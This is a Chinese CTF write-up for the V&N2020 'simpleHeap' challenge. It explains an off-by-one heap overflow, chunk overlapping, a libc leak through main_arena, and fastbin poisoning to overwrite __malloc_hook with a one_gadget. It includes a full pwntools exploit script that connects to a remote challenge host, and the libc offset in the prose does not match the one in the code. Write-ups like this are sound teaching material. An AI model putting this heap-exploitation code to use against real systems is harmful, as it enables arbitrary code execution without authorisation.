[V&N2020 公开赛]simpleHeap double free&overlapping
[V&N2020 公开赛]simpleHeap
安全检查
保护全开
程序流程分析
add函数
输入size,在填充内容,有null字节溢出
edit函数
my_input有单字节溢出,说明可以overlapping
show函数
打印内容
delete函数
没有什么问题
漏洞利用分析
- edit有单字节溢出,所以可以创建4个堆,大小要为0x60(因为malloc_hook那的size是0x7f),调用edit再覆盖下一个堆的size,变为unsorted bin,再释放,便可以造成overlapping
- overlapping后,再通过linux的unsorted bin的malloc机制,系统会把适合的堆切割或直接分配,如果切割则会把剩下的堆继续留在unsorted bin中
- 通过打印2号堆,来打印unsorted bin的fd和bk指针所指的main_areana,然后减去88再减去0x3be760就可以活的libc地址
- 在通过double free,把地址申请到malloc_hook那,并挂上realloc和malloc的钩子即可
1 from pwn import * 2 3 context.log_level='debug' 4 #p=process('./vn_pwn_simpleHeap') 5 p=remote('node3.buuoj.cn',25209) 6 elf=ELF('./vn_pwn_simpleHeap') 7 libc=ELF('./libc-2.23.so') 8 9 def add(size,content): 10 p.recvuntil('choice: ') 11 p.sendline('1') 12 p.recvuntil('size?') 13 p.sendline(str(size)) 14 p.recvuntil('content:') 15 p.sendline(content) 16 17 def edit(idx,content): 18 19 p.sendline('2') 20 p.recvuntil('idx?') 21 p.sendline(str(idx)) 22 p.recvuntil('content:') 23 p.sendline(content) 24 25 def show(idx): 26 p.recvuntil('choice: ') 27 p.sendline('3') 28 p.recvuntil('idx?') 29 p.sendline(str(idx)) 30 31 def delete(idx): 32 p.recvuntil('choice: ') 33 p.sendline('4') 34 p.recvuntil('idx?') 35 p.sendline(str(idx)) 36 37 add(0x18,'pppp') 38 add(0x60,'pppp') 39 add(0x60,'pppp') 40 add(0x10,'pppp') 41 42 #fake chunk 43 payload='p'*0x18+'\xe1' 44 edit(0,payload) 45 46 delete(1) 47 48 add(0x60,'pppp') 49 50 #gdb.attach(p) 51 show(2) 52 53 main_arena=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-88 54 libc_base=main_arena-0x3c4b20 55 56 57 libc_one_gadget=[0x45216,0x4526a,0xf02a4,0xf1147] 58 one_gadget=libc_base+libc_one_gadget[1] 59 malloc_hook=libc_base+libc.symbols['__malloc_hook'] 60 realloc=libc_base+libc.symbols['__libc_realloc'] 61 fake_chunk=malloc_hook-0x23 62 63 add(0x60,'pppp') 64 delete(4) 65 66 payload=p64(fake_chunk) 67 edit(2,payload) 68 69 70 71 add(0x60,'pppp') 72 73 74 payload='p'*0xb+p64(one_gadget)+p64(realloc+13) 75 add(0x60,payload) 76 77 78 p.interactive()